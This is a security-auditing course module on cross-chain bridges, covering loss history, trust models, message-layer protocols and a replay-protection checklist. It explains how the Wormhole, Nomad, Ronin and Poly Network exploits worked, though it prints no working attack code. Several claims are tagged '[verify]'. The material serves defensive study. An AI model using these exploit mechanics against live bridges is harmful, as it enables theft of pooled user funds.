Week 10 — Bridges & Cross-Chain Security
“A bridge is not a cryptographic construction. A bridge is a social contract pretending to be one. It says: ‘these N humans (or these N machines those humans control) will tell the destination chain what happened on the source chain — and if they lie, the wrapped asset on the destination is worthless.’ Every bridge exploit is the moment that contract is renegotiated by force. As an auditor, your job is to read the fine print before the renegotiation.”
Tags: web3-security bridges cross-chain layerzero wormhole ccip hyperlane axelar ibc finality replay Learner: Past Tuan-09-Oracle-MEV-Economic-Attack → ready for cross-domain economic surface Time: 7 days (5–6h/day; this is one of the highest-leverage weeks because nine-figure failures cluster here) Related: Tuan-01-Web3-Blockchain-Crypto-Fundamentals · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-11-L2-Rollup-Modular-Security · Case-Poly-Network-2021 · Case-Wormhole-2022 · Case-Ronin-Bridge-2022 · Case-Nomad-Bridge-2022
1. Context & Why
1.1 The numbers you cannot ignore
By the end of 2024, cross-chain bridges accounted for the majority of cumulative crypto theft by value. Nine of the ten largest crypto thefts on record are bridge exploits. Approximate losses, in chronological order:
| Year | Incident | Loss (USD, approx) | Root cause class |
|---|---|---|---|
| 2021 | Poly Network | ~$611M | Cross-chain access control (keeper rotation) |
| 2022 | Wormhole | ~$325M | Signature verification bypass (account confusion on Solana) |
| 2022 | Ronin | ~$625M | Validator key compromise (social engineering) |
| 2022 | Nomad | ~$190M | Initial Merkle root = 0x00 accepts any proof |
| 2022 | Harmony Horizon | ~$100M | 2-of-5 multisig key compromise |
| 2023 | Multichain | ~$125M+ | CEO held sole MPC keys; arrested by Chinese police |
| 2023 | Orbit Chain | ~$80M | Multisig key compromise |
| 2024 | Various LayerZero OFT misconfigurations | scattered | Application-side DVN misconfigured to 1-of-N |
| 2026 | KelpDAO rsETH | scattered | LayerZero OFT pathway with 1-of-N DVN [verify] |
The pattern is structural, not accidental. Bridges concentrate value behind off-chain attestation, and the on-chain destination contract has no native way to disprove a malicious attestation. Compare a DEX (where the worst-case loss is the AMM’s TVL, behind composable on-chain logic with EVM-enforced invariants) to a bridge (where the worst-case loss is the locked collateral, behind a multisig or validator set whose signing key custody is off-chain). When the off-chain side breaks, the on-chain destination dutifully mints — exactly as designed.
“Cross-chain applications have anti-network-effects: while staying within one ecosystem, the 51% attack risk and other systemic risks are quite low; once you go cross-chain, these multiply.” — Vitalik Buterin, January 2022 Reddit thread on the multi-chain vs cross-chain future. The essay-equivalent post is the canonical statement that even with perfectly-correct contracts, bridges inherit the failure mode of both chains plus the bridge itself.
1.2 What this week is about
This is the trust-model audit. Where Week 5 and 6 trained you to read code, this week trains you to read a system of code, signers, and assumptions. Most bridge bugs are not “this line is wrong”; they are “this design assumed something about the world that an adversary can falsify cheaply.”
You will graduate able to answer, for any bridge:
- Who attests? — what set of off-chain actors signs that an event occurred on chain A?
- What is the cost to compromise that set? — capital, social engineering, malware?
- What is the on-chain destination verification? — signature check, light-client proof, ZK verifier, optimistic challenge?
- What is the finality assumption on chain A? — does the destination wait long enough to survive a reorg?
- How is replay prevented? — chain id, nonce, message id, source-address binding?
- How does validator set rotate? — atomically? lag? what about in-flight messages signed by old set?
- Who can pause? — and who can un-pause?
By Friday you can read a bridge codebase, fill in those seven fields, then critically compare them against the protocol’s stated trust model.
1.3 Learning goals
- Classify any given bridge into both an asset model (lock-mint / burn-mint / liquidity / canonical / atomic-swap) and a trust model (external multisig / MPC / light-client / optimistic / ZK).
- Read the LayerZero V2, Wormhole, Chainlink CCIP, Hyperlane, Axelar, and IBC architecture top-down and place them on a trust-assumption matrix.
- Identify the seven core audit angles for a bridge contract: replay protection, finality assumption, validator-set rotation safety, pause/emergency control, reorg handling, wrapped-asset accounting invariant, storage-slot collision, initialization protection.
- Recite the root cause and one-sentence lesson for Poly Network, Wormhole, Ronin, Nomad, Harmony Horizon, Multichain.
- Reproduce three PoCs end-to-end: replay (no chain-id/nonce), Nomad-style zero-root, and validator-set rotation race.
- Score a bridge’s design-level trade-offs (speed vs security, capital efficiency vs trust, liveness vs safety) with auditor’s reasoning, not vibes.
1.4 Primary references
2. Why Bridges Are Structurally High-Risk
2.1 The three structural reasons
Reason 1: concentrated value behind off-chain attestation
A bridge is, in the most permissive design, a single contract that holds every user’s collateral. On the destination chain, a single contract issues every wrapped asset. The on-chain side trusts an off-chain side to tell the truth about the other chain. Compare this to a DEX: every state transition is verified by the EVM itself, every invariant is locally checkable. A bridge has no such local check — the destination chain cannot directly observe the source chain.
The auditor’s frame:
Total bridge TVL = f( off-chain attester set integrity )
If the integrity of the attester set fails, all the TVL is at risk simultaneously. There is no per-user isolation. Contrast: a lending market where each user’s collateral is isolated and one borrower’s default does not threaten the others’ collateral.
Reason 2: weak or unmodeled finality assumptions
A bridge claims to act on “what happened on chain A”. But “what happened” is a moving target until finality:
flowchart LR E[Event on Chain A<br>block N] --> R{Reorg before<br>destination acts?} R -- yes --> Loss[Bridge mints on B<br>but source state reverts<br>= bridge insolvent] R -- no --> Safe[Wrapped asset<br>backed correctly] style Loss fill:#ffcccc style Safe fill:#90ee90
Many bridges in 2022–2023 acted on latest or 1-confirmation events on a probabilistic-finality chain. After a reorg on the source, the destination mint has no on-chain backing — the bridge becomes structurally insolvent. The wrapped asset is now under-collateralized. This is the finality-class bug and it lives in the seam between the bridge’s contracts and the chain’s consensus.
See Week 1 §3 for the underlying mental model. Auditor checklist: for every bridge that reads source-chain state, identify the confirmation depth and compare it against the source chain’s worst-case reorg observed in the last 24 months. Polygon PoS, BSC, Solana, and several L2s have all had multi-block reorg or rollback events. [verify: chain-specific reorg depth history].
Reason 3: composite trust surface
A bridge’s failure surface is the union of:
- Source chain consensus
- Source-chain bridge contract code
- Off-chain attester set (validators / Guardians / DVNs / DON / MPC nodes)
- Attester-set key custody (HSM? hot keys? cloud KMS?)
- Off-chain message protocol (signature scheme, gossip layer)
- Relayer / executor infrastructure
- Destination chain consensus
- Destination-chain bridge contract code
- Upgrade authority (proxy admin) on both sides
A typical DeFi protocol has the first and last in this list. A bridge has every item. Probability of failure is roughly additive over independent failure modes. This is why a “well-audited contract” is necessary but nowhere near sufficient.
2.2 The “two consensus zones” frame
Vitalik’s January 2022 argument is worth restating in auditor language:
- Within a single consensus zone (one chain), a 51% attack on that chain doesn’t damage native applications differently than the consensus failure damages the chain itself. Everyone fails together; nothing is uniquely drained.
- Across two consensus zones connected by a bridge, a 51% attack on chain A drains the bridge’s chain-A locked collateral while chain-B’s wrapped assets remain “valid” on the destination chain. The destination cannot tell that source state reverted. The bridge is now upside-down; wrapped-asset holders take the loss.
- With N chains and many bridges, a 51% attack on any chain produces systemic contagion through every bridge connected to it.
This is not a code-level bug. It’s a property of the trust model. A bridge can be perfectly implemented and still subject the user to this risk. Auditors should flag this in the trust-assumptions section of every cross-chain audit even if no code is buggy.
2.3 What makes a bridge “good” by auditor standards
A useful working scorecard. None of these are absolute; weight them per protocol:
| Dimension | Good | Bad |
|---|---|---|
| Attester set size | Large, diverse, geographically + jurisdictionally distributed | Small, geographically clustered, same operator stack |
| Attester accountability | Slashable stake, on-chain identity | None; reputation only |
| Verification method | Light-client / ZK proof on destination | Trust signatures from off-chain committee |
| Finality wait | Source chain’s finalized tag or stricter | latest or fixed N confirmations on probabilistic chain |
| Replay protection | Chain id + source contract + nonce + message id, all in signed payload | Missing any of those |
| Validator rotation | Atomic on both chains; in-flight handled | Manual, lagged across chains |
| Pause | Independent emergency role; clear separation from upgrade role; clear governance to unpause | Concentrated; no pause at all; or pause = bridge admin keys |
| Wrapped-asset accounting | Solvency invariant testable on-chain | Off-chain accounting; no on-chain assertion |
| Upgrade governance | Timelock + multisig + emergency limits | Single EOA or short-timelock multisig |
| Audit history | Multiple firms, scoped to design + code | Single audit, code-only |
3. Bridge Taxonomy — Asset Model
The asset model describes what happens to the user’s value. Independent of trust model.
3.1 Lock-and-mint
sequenceDiagram participant U as User participant L as Lock contract<br>Chain A participant V as Validators / Attesters participant M as Mint contract<br>Chain B U->>L: deposit(asset, amount, recipient_on_B) L->>L: lock(asset, amount); emit Sent V->>V: observe Sent, sign attestation V->>M: deliver signed message M->>M: verify signatures M->>U: mint wrapped(asset, amount) to recipient
- Source chain holds the canonical asset, locked.
- Destination chain holds a wrapped representation (
wAsset,aBNB.b, etc.), backed 1:1 by the lock. - Reverse direction: user burns wrapped on B, validators attest the burn, lock releases on A.
Solvency invariant: locked(A) == sum_of_wrapped_supply_on_all_other_chains.
Audit angles:
- If the validator set produces a fake “Sent” attestation, destination mints unbacked tokens. (Wormhole 2022, Ronin 2022, Harmony Horizon.)
- If the validator set produces a fake “Burn” attestation, source releases tokens without a real burn. (Poly Network 2021 was structurally this.)
- Non-fungibility of wrapped assets across paths:
wETH from path 1 ≠ wETH from path 2if implemented carelessly — leads to “double-pegged” tokens and per-path liquidity fragmentation.
3.2 Burn-and-mint (native canonical issuance)
Common when the asset has a native canonical contract on multiple chains and the issuer authorizes burning on one to mint on another. Circle’s CCTP for USDC is the canonical example: burn USDC on chain A, get an attestation, mint native USDC on chain B.
- No wrapped representation; the destination asset is the real native asset on B.
- The asset issuer (Circle, in CCTP) is the off-chain attester for the burn.
Audit angles:
- The issuer is a single trust point — the bridge inherits the issuer’s centralization. This is a feature for fiat-backed stablecoins (the issuer is the trust anchor by design) and a bug for “decentralized” assets.
- The signed attestation must include source chain id, source contract, destination chain id, destination recipient, amount, and nonce. Missing any → replay or cross-chain confusion.
3.3 Liquidity network (Hop, Across, Stargate, etc.)
Instead of locking and minting wrapped tokens, pools on both sides hold the same canonical asset.
flowchart LR U[User] -->|deposit on A| PA[Pool A] PA --> Relay{Relayer /<br>Bonder} Relay -->|pay out from pool B| PB[Pool B] PB --> U2[User on B] Relay -.proof of A deposit.-> PA
- User deposits to pool A.
- A bonder / relayer front-pays the user on pool B from existing liquidity.
- The bonder later proves to pool A that the deposit happened and is reimbursed.
Trust assumptions vary widely:
- Hop: optimistic — bonder is whitelisted and bonded; if they front-pay a fake deposit, they get slashed. Security ultimately inherits from the underlying rollup’s fraud proof window (cross-rollup transfers settle via the canonical L1↔L2 bridge underneath, with the bonder optimistically front-running the settlement).
- Across: optimistic — uses UMA’s Optimistic Oracle to verify the deposit; relayer fronts liquidity, then is reimbursed after a challenge period. V4 reportedly adds zkVM-proven settlement as a secondary verification layer [verify].
- Stargate: instant — pools rebalanced via LayerZero messages; trust assumption is LayerZero’s DVN config (see §5.1).
Audit angles:
- Bonder solvency: if the bonder pre-pays before the source-side deposit is finalized, a reorg on source = bonder loss.
- Pool inflation/donation attacks (the ERC-4626 class) on the LP shares.
- Rate-limit and per-route caps — without them, a relayer compromise drains the entire pool.
3.4 Native canonical bridges (L1 ↔ L2)
Official L1↔L2 bridges live inside the rollup protocol, not as third-party bridges:
- Optimism / OP Stack bridge: deposits via L1 contract call; withdrawals via 7-day fraud-proof window (optimistic).
- Arbitrum bridge: similar; deposits near-instant, withdrawals 7 days unless using a third-party fast-exit liquidity provider.
- zkSync Era / Scroll / Linea / Polygon zkEVM native bridges: withdrawals finalize after the ZK proof is verified on L1 (minutes-to-hours depending on rollup cadence).
Audit angles (depth in Week 11):
- Inbox / outbox contract correctness.
- Withdrawal proof verification path on L1.
- Forced inclusion / escape hatch availability (does L2 censorship trap user funds?).
- Sequencer permissions and timelock on rollup config.
3.5 Atomic swaps / HTLCs (largely historical for L1↔L1)
Hashed Timelock Contracts: A locks an asset with a hash preimage h = H(s). B locks the corresponding asset on the other chain with the same h. A reveals s to claim B’s asset; B uses the revealed s to claim A’s asset. If either side fails to claim within timelock, locks unwind.
- Trust-minimized — only counterparty risk and timelock parameter risk.
- Liquidity-illiquid — requires a counterparty for every swap; not a continuous service.
- Largely historical for general L1↔L1 transfers. Still relevant in submarine swaps for Bitcoin Lightning, and in some niche atomic-coin-swap services.
Audit angles (when you see one):
- Timelock parameter ordering — A’s timeout must be longer than B’s, otherwise B can claim from A after A’s lock expires without ever releasing on B.
- Hash function choice (some HTLCs use SHA-256 for cross-chain Bitcoin compatibility; Ethereum-only versions use
keccak256). - Re-entrancy on claim functions if used with token callbacks.
4. Bridge Taxonomy — Trust Model
The trust model describes who attests and how the destination chain verifies the attestation.
4.1 External validator multisig
A fixed (often small) committee signs messages. The destination contract holds the committee’s public keys and verifies M-of-N signatures.
| Bridge | Set size | Quorum | Compromise mode |
|---|---|---|---|
| Ronin (pre-hack) | 9 | 5 | 5 keys leaked via spear-phishing + revoked-but-active allowlist |
| Ronin (post-hack) | expanded | new threshold | rebuilt; [verify current threshold] |
| Wormhole | 19 Guardians | 13 | One Guardian compromise alone does not drain; 13 collusion or signature-verification bypass does |
| Harmony Horizon | 5 | 2 | Two hot-wallet servers compromised |
| Poly Network | 4 keepers | 1 of 4 sigs (per design) | Access-control bug in EthCrossChainManager allowed changing the keeper set without a keeper sig |
Audit angles:
- Signer set size and threshold both matter. 2-of-5 with hot keys = single laptop compromise. 13-of-19 with HSM custody = nation-state-scale attack.
- Where keys live. Plaintext on bridge servers (Harmony) is catastrophic.
- Whether revoked permissions are actually revoked from the contract perspective (Ronin’s Axie DAO allowlist remained active in the contract after the operational handover ended).
- Whether a single off-chain RPC node can solicit signatures from the validator set (Ronin’s gas-free RPC was the path the attacker used to obtain the fifth signature from Axie DAO).
- Set rotation atomicity (see §6.3).
4.2 MPC / threshold signatures
Like multisig but the signature appears on-chain as one signature from a single key. The key is split among N parties; M can produce a signature without ever materializing the full key.
| Bridge | Notes |
|---|---|
| Multichain (Anyswap, pre-collapse) | MPC nodes; in practice, CEO Zhaojun held sole administrative keys per court evidence; arrest in mid-2023 collapsed the protocol; ~$125M+ drained or lost |
| Fireblocks (custody, not bridge per se) | Production-grade MPC custody |
Audit angles:
- “MPC” is a category, not a guarantee. The auditor must ask: who runs the MPC nodes? Where do they run? Who has sysadmin access to the host machines? What is the recovery / signing-share-loss procedure?
- Threshold parameters and operator independence matter as much as in multisig.
- Insider risk is the dominant failure mode. Multichain is the canonical lesson: when the trust model collapses to a single human, it’s not a bridge — it’s a custodian.
4.3 Light client / IBC-style
The destination chain runs a light client of the source chain. On-chain, the destination verifies headers (block proofs) of the source chain using the source chain’s consensus rules. Then storage proofs from the source can be verified relative to those headers.
Cosmos IBC is the production example:
- Each IBC client encapsulates a consensus model (typically Tendermint, but pluggable).
- A relayer submits source-chain headers + Merkle proofs of packets to the destination.
- The destination’s light client verifies headers using the source’s validator-set-and-signatures rules; ICS-20 then handles the token-transfer semantics.
- Trust reduces to the security of the source’s consensus — i.e., no extra trusted committee.
flowchart LR S[Source Chain<br>Tendermint validators] -->|signed headers| R[Relayer] R --> LC[Light Client<br>on destination] LC --> PV[Packet Verifier] PV --> A[ICS-20 token logic] style LC fill:#cce5ff
Strengths:
- No exogenous trust set; security is the source chain’s own consensus.
- Slashable misbehavior (the source’s validators are stake-bonded under their own chain’s rules).
- Compatible with frozen-light-client recovery on detected fork attack.
Weaknesses / audit angles:
- Light-client correctness is a real attack surface. A bug in header verification = bridge break. (Several CVE-class IBC bugs have been disclosed and fixed since 2022.)
- Light clients of non-Tendermint chains (e.g., a Tendermint chain holding a light client of Ethereum) require expensive on-chain BLS sig verification (Sync Committee for Ethereum) — gas-prohibitive without precompiles.
- Trust assumption is: source chain’s own validator set integrity. If the source chain is 51%-attacked, the bridge is upside down. (Vitalik’s point.)
4.4 Optimistic bridge (Nomad-style)
Messages are posted on the destination chain with a challenge window. If no fraud proof is submitted during the window, the message is accepted.
- Pioneered (in this form) by Nomad.
- Modern application: Across uses UMA’s Optimistic Oracle for relayer reimbursement; Hyperlane Optimistic ISM is an opt-in security module.
Strengths:
- Cheaper than ZK; doesn’t require a heavy on-chain verifier.
- Liveness only requires one honest watcher to submit a fraud proof during the challenge window.
Weaknesses / audit angles:
- The fraud-proof window introduces a latency tradeoff: too short = unsafe; too long = bad UX.
- The fraud-proof mechanism must actually work. A fraud-proof contract that always reverts is no protection.
- Watcher liveness is itself a trust assumption — if all watchers are censored or offline, fraud goes unchallenged.
- Nomad’s case is the cautionary tale: the bridge was optimistic, but the on-chain root validation was bypassed entirely by the
acceptableRoot[0x00] = truebug — meaning any unconstructed proof passed validation. See §7.4.
4.5 ZK bridge
The destination contract verifies a succinct proof of source-chain state. If the proof verifies, the source state is taken as fact.
Forms:
- State-root attestation with ZK proof: prover commits to source chain head, posts a ZK proof of validity, destination verifies.
- Storage-proof ZK bridge: prover proves a specific storage value via ZK (e.g., Succinct’s SP1, Axiom).
- ZK light client: ZK-proven version of §4.3’s classical light client; cheaper to verify on-chain.
Strengths:
- No exogenous trust set; cryptographic.
- Smaller on-chain footprint than a classical light client.
Weaknesses / audit angles:
- ZK circuit bugs (Week 1 §4.6, and Bonus-5). The dominant bug class is under-constrained circuits — the proof verifies but doesn’t actually constrain what it claims to.
- Trusted setup risk for SNARKs that use one.
- Verifier-contract bugs (the on-chain Solidity verifier wrapping the proof).
- Prover liveness — if the only prover stops producing proofs, the bridge halts (liveness, not safety, but real to users).
- Proof systems with universal setup (Halo2, PLONK) shift the trust to per-circuit constraints; still require rigorous circuit auditing.
5. Message-Layer Protocols (the modern category)
Modern cross-chain isn’t just “lock and mint”. It’s generic message passing — arbitrary contract-to-contract calls across chains. The asset bridge becomes one application on top of the message layer. This section is the practical comparison.
5.1 LayerZero V2
flowchart LR AppA[App on A] -->|send| EpA[Endpoint A] EpA -->|emit packet| MLA[Message Lib A] MLA --> DVNs[DVN set<br>per-app configured] DVNs -->|verify hash| MLB[Message Lib B] EpB[Endpoint B] -->|deliver| AppB[App on B] MLB --> EpB Exec[Executor] -.optional auto-deliver.-> EpB
Architecture:
- Endpoint: an immutable, permissionless contract on each chain. Apps
sendandlzReceivethrough it. - Message Library (ULN — UltraLightNode): handles packet encoding, signature/payload-hash verification on receive.
- DVN (Decentralized Verifier Network): each DVN independently verifies the message’s payload hash. Multiple DVNs can be required per pathway.
- Executor: an optional service that pays gas on destination and triggers
lzReceive. Not security-critical; if Executor fails, anyone can manually trigger. - Security Stack (the “X of Y of N”): per-application configuration where:
X= required DVNs that must signY= total quorum thresholdN= total selectable DVN pool
Example: “1 required DVN + 2 of 5 optional DVNs” — the required DVN must sign, plus any 2 of the remaining 5.
Trust assumption: whatever DVN set the application developer chooses. There is no platform-enforced minimum. If a developer configures 1 of 1 with one DVN, the trust model is “one party”. This is the #1 audit finding class for LayerZero integrations — applications inheriting an insecure default. The April 2026 KelpDAO rsETH incident reportedly traced to a 1-of-N pathway [verify].
Audit checklist for a LayerZero-integrated app:
- DVN configuration: how many required DVNs? Who runs them? What’s their independence?
- Executor and DVN configuration storage — is it upgradable? Who can call
setConfig? - Per-pathway configuration on both sides — asymmetric DVN choices = weakest link.
- Endpoint vs ULN version — V1 endpoints still exist; mixing versions can introduce subtle bugs.
5.2 Wormhole
flowchart LR AppA[App on A] --> WC[Wormhole Core<br>on A] WC -->|emit observation| GN[Guardian Network<br>19 validators] GN -->|13 of 19 sigs<br>= VAA| WCb[Wormhole Core<br>on B] WCb --> AppB[App on B]
- Guardian Network: 19 designated validators run by 19 different organizations.
- VAA (Verifiable Action Approval): the canonical message format. A VAA contains the message payload + 13 Guardian signatures.
- Destination verification: contract verifies that 13 of 19 known Guardian addresses signed the payload hash.
Trust assumption: 13-of-19 honest Guardians.
Set rotation: governed by Guardian-set upgrade messages, themselves signed by the existing Guardian set (a “self-update” with quorum). Auditor’s question: what happens to in-flight VAAs signed by the old set after rotation?
Wormhole 2022 (~$325M, Feb 2022) was not a Guardian-collusion attack — it was a signature-verification bypass on the Solana side:
- A deprecated
load_instruction_at(instead ofload_instruction_at_checked) failed to verify that thesysvaraccount was the real Solana system instructions sysvar. - The attacker passed a fake sysvar account that satisfied the deprecated check’s surface conditions, making the program believe Secp256k1 verification had occurred.
- This produced a “valid”
SignatureSetwithout ever having 13 real Guardian sigs, which produced a valid VAA, which minted 120,000 wETH from thin air. - Fix had been committed to GitHub but not deployed on mainnet — attackers likely identified the bug by reading the public fix commit.
Lesson: signature verification is only as strong as the weakest assumption in the verifying path. A bridge whose off-chain Guardians are perfect can still be drained by a verifier bug on one chain. The verifier contract on every supported chain is in scope; one chain’s verifier bug = full bridge loss.
5.3 Chainlink CCIP
CCIP is structurally a two-DON design with an independent third network for emergency:
| Component | Role |
|---|---|
| Committing DON | Observes source chain, commits batched message roots to destination |
| Executing DON | Executes individual messages on destination once committed |
| Risk Management Network (RMN, formerly ARM) | Independent network that blesses valid commits and curses anomalies |
The RMN is the distinguishing feature:
- Runs on different software (different language, different team, different operators) from the primary CCIP DONs.
- Blesses committed roots by independently reconstructing the source-chain Merkle tree and comparing.
- Curses if it detects anomalies — invalid roots, double-execution, finality violation. A curse-quorum pauses CCIP operations on the affected chain.
- This is a defense-in-depth model — even if the committing DON colludes, the RMN must independently agree.
Trust assumption: simultaneous compromise of committing DON + executing DON + RMN. Three different sets of operators, with explicit client diversity. Strongest production trust model among the major message-layer protocols by this measure.
Audit angles for CCIP integrations:
- Token pool implementation (lock-mint, burn-mint, both supported via specific pool contracts).
- Rate limits per token, per pool. Without rate-limit, a single failure can drain everything; with rate-limit, the damage is bounded by the per-period cap.
- Sender / receiver permission model —
ccipReceiveshould validatemsg.sender == CCIP Routerandsource chain selector + sender addressare expected. - Emergency-pause path — the protocol should benefit from RMN curse, but the application can also implement its own pause for defense.
5.4 Hyperlane
Hyperlane’s distinguishing feature is per-application configurable security via ISMs (Interchain Security Modules):
- Multisig ISM: a developer-chosen validator set, M-of-N signatures.
- Aggregation ISM: requires multiple sub-ISMs to all approve. “Use both my Multisig ISM and a Wormhole ISM.”
- Routing ISM: dispatches to different ISMs based on origin chain or message type.
- Optimistic ISM: accepts after a challenge window if no watcher disputes.
Default is a Multisig ISM with Hyperlane’s own validator set, but the developer can swap or compose.
Trust assumption: per-app. The auditor must read the application’s deployed ISM configuration and validate it matches the security claim. A common mistake: protocol marketing says “decentralized security” but the deployed ISM is a 1-of-1 Multisig with a single Hyperlane validator. That’s the finding.
Audit angles:
- Which ISM is wired up on
Mailbox.deliver? - Validator set in the Multisig ISM — who, what threshold, key custody?
- Aggregation ISM logic — does it correctly require all sub-ISMs, or does it short-circuit?
- Routing ISM correctness — ensure the routing logic doesn’t permit downgrading to a less-secure ISM for high-value messages.
- ISM upgrade authority — who can call
setIsm?
5.5 Axelar
A full Cosmos-SDK chain whose validators participate in both Tendermint consensus and cross-chain attestation via threshold sigs.
- Validators observe external chains, vote on external events, and produce threshold-signed approvals.
- Gateway contracts on each connected chain receive the approvals and execute calls.
- General Message Passing (GMP) allows arbitrary cross-chain calls beyond token transfers.
- Gas service (off-chain economic helper; not a trust assumption — relayers permissionless).
Trust assumption: Axelar validator set. Set size is meaningful (dozens of validators); slashing is enforced on the Axelar chain.
Audit angles:
- Gateway upgrade path on each chain. If the gateway is upgradable by a small multisig, that’s the real trust root, not the validator set.
- Validator-set rotation: Axelar rotates with each epoch; how is the new set communicated to each destination gateway, and what happens to messages signed by the old set during the transition?
- Domain separation between gateway calls on different chains — replay across chain ids is a class to verify.
5.6 IBC (Cosmos)
See §4.3. IBC is the only fully-light-client model in production at scale.
- Each connection is a pairing of two light clients (one on each side).
- Packets are relayed with Merkle proofs against committed chain headers.
- Trust reduces to the source chain’s own validator set integrity. No external committee.
Audit angles for IBC applications:
- Channel ordering: which channel, which port. Wrong channel = wrong source domain.
- Packet replay protection (built into IBC core, but custom ICS extensions can violate).
- Timeout handling — packets that time out must refund correctly.
- IBC client freeze conditions — a misbehavior submission against the source chain freezes the client. Recovery requires governance.
5.7 Side-by-side comparison
| Feature | LayerZero V2 | Wormhole | Chainlink CCIP | Hyperlane | Axelar | IBC |
|---|---|---|---|---|---|---|
| Trust set | Per-app DVN config | 19 Guardians, 13/19 | DONs + RMN | Per-app ISM | Validator network | Source chain consensus |
| Min trust | App-chosen (can be 1!) | 13 Guardians | 2 of {Committing, RMN} | App-chosen | 2/3 + 1 of validators | Source chain finality |
| Finality | App-configured confs | Per-chain consistency level | Per-chain finality + RMN | App-chosen | Validator-configured | Source chain finality |
| Sign authority | DVNs | Guardians (13/19) | DONs | ISM validators | Axelar validators (threshold) | Source chain validators |
| Pause authority | Per-app emergency role; DVN-side opt-out | Wormhole governance via Guardian VAA | RMN cursing → pause | Per-ISM owner | Axelar governance | Light client freeze (governance) |
| Native asset | App’s own choice (OFT, etc.) | wAssets | App’s pool design (lock-mint or burn-mint) | App-chosen | App-chosen (Squid, etc.) | ICS-20 native |
| Compromise mode | DVN collusion (per app config) | 13/19 Guardians OR per-chain verifier bug | DON + RMN simultaneous compromise | ISM validator collusion | 2/3 Axelar validators | Source chain 51% |
| Notable incident | Application-side misconfig (KelpDAO rsETH, Apr 2026 [verify]) | Solana verifier bypass 2022 | No production exploit on Mainnet as of 2026 [verify] | None at scale [verify] | None at scale [verify] | Multiple IBC CVEs (patched) [verify] |
Auditor read of the table: there is no single “best” protocol. Each makes a different design choice. What matters is whether the deployed configuration matches the application’s stated trust model. A LayerZero app with a 4-of-7 DVN set is not less safe than a Wormhole app, and a Wormhole app is not less safe than a CCIP app — unless one of them has a known verifier bug or an application-side misconfiguration.
6. Audit Angles for Bridge Contracts
The concrete checklist. Apply to every bridge audit.
6.1 Replay protection
A message must execute on the destination at most once. The signed payload must bind:
- Source chain id (or chain-selector equivalent) — prevent cross-chain replay.
- Source bridge contract address — prevent same-chain different-contract replay.
- Destination chain id / selector — prevent application-side cross-chain confusion.
- Destination address — prevent re-routing of payload to a different app.
- Per-message nonce or message id — prevent re-execution of the same message.
- Source sender / sender domain — prevent forgery of the sender field.
On the destination, a mapping(bytes32 messageId => bool executed) (or per-chain-pair nonce counter) must be checked and updated atomically with execution.
Common bug pattern: storing executed[messageId] = true after the external call to the recipient. If the recipient re-enters and re-executes via the destination router, the second invocation finds executed[messageId] == false and proceeds again. CEI applies to bridge destination handlers just as much as to vaults.
Solidity sketch — what good looks like:
struct Message {
uint64 srcChainId;
bytes32 srcContract; // source sender bridge
uint64 dstChainId;
address dstContract; // destination receiver bridge
uint64 nonce;
bytes32 payloadHash;
}
mapping(bytes32 => bool) public consumed;
function deliver(Message calldata m, bytes calldata payload, bytes calldata attestation) external {
require(m.dstChainId == block.chainid, "wrong dst chain");
require(m.dstContract == address(this), "wrong dst contract");
bytes32 id = keccak256(abi.encode(m));
require(!consumed[id], "already consumed");
require(keccak256(payload) == m.payloadHash, "payload mismatch");
require(_verifyAttestation(id, attestation), "bad attestation");
consumed[id] = true; // effects before interactions
_execute(m.srcChainId, m.srcContract, payload); // application call last
}6.2 Finality assumption
Audit prompt: “On what source-chain block tag does this bridge act?”
latestor 1-confirmation on Ethereum = subject to short reorgs.safeon Ethereum = subject to rare adversarial reorgs.finalizedon Ethereum = subject only to >1/3 slashing (deep, costly).- “N confirmations” on a chain without deterministic finality (BSC, Polygon PoS, many L2s) = subject to whatever historical reorg the chain has had.
Concrete checks:
- The off-chain attester software must wait for sufficient finality before signing.
- The destination contract should additionally enforce a finality-block-number / timestamp lower bound on the source event, where verifiable.
- For chains where the destination cannot directly verify source finality, the attester software’s finality wait is the only line of defense — and an attester compromise that ignores this wait causes a reorg loss.
LayerZero handles this through per-chain “block confirmations” parameters configured into the DVN; CCIP through finality-tagged commits; Wormhole through per-chain “consistency level” in VAAs. The auditor reads the deployed parameter, not the docs’ suggestion.
6.3 Validator-set rotation safety
Rotation is when the set of off-chain attesters changes (key rotation, member replacement, expansion). It’s a high-risk operation because two chains can disagree about which set is current.
The hazards:
sequenceDiagram participant A as Source Chain participant V as Old Validator Set participant Vn as New Validator Set participant B as Destination Chain A->>V: rotate to Vn (event at block N) Note over V: continues signing<br>in-flight messages V->>B: message M signed by V (delivered after rotation event) B->>B: accept? reject? Note over B: depends on rotation propagation lag
Audit questions:
- Is the rotation a single signed message that both chains process? Or two separate operations?
- Is there a clear cut-over block? After block N, only the new set is accepted?
- What happens to messages signed by V before rotation but delivered after? Are they:
- (a) Accepted because they were valid at signing time?
- (b) Rejected because the current set is Vn?
- (c) A grace period where both sets are accepted?
- Can an attacker time the rotation message to either: (1) replay old-set-signed messages on the destination after V is rotated out (race), or (2) DoS in-flight messages by rapid rotation?
Bug pattern: a destination contract that stores currentValidatorSet as a single variable, overwritten by rotation, without a grace window — drops every in-flight message signed by the old set. UX bug at best; in some designs, the dropped message contains the lock that should have been unlocked, leading to permanent fund loss.
Bug pattern 2: rotation message itself signed by the old set; if the old set’s keys leak, attacker can fraudulently rotate to attacker-controlled keys. (Poly Network 2021 was structurally this: the keeper-set update path lacked authentication from the actual current keepers — a bug in addition to the cross-contract access control issue.)
Lab 3 (§8) reproduces a rotation race PoC.
6.4 Pause / emergency mechanism
A pause is a “kill switch” that halts new messages from executing. Audit questions:
- Who can pause? Single key, multisig, DAO vote, RMN-style independent network?
- Who can un-pause? Same set, or different (separation of duty)?
- Is there a maximum pause duration (so a paused bridge can’t be silently abandoned)?
- Does pause halt new messages, or also block in-flight messages waiting for delivery?
- Does pause stop deposits but allow withdrawals? Often the right asymmetry: when uncertain, stop accepting new collateral but let existing holders exit.
Bug pattern: pause that can be triggered by a single EOA with no on-chain log, no timelock, no governance check — also a centralization finding to flag in the trust-assumptions section.
CCIP RMN is the gold-standard architecture for separation: pause is triggered by an entirely independent network’s cursing, not by the bridge admin. [verify current RMN deployment scope per chain].
6.5 Reorg handling on source chain
If the source chain has probabilistic finality, the bridge software must handle observed reorgs of source events. Audit questions:
- What confirmation depth does the attester software use? Compared to historical max-reorg on this chain?
- What happens if the attester signs an event that subsequently disappears from the canonical chain? (Best case: the attester catches the reorg and refuses to deliver; worst case: signed message is already delivered, destination is now unbacked.)
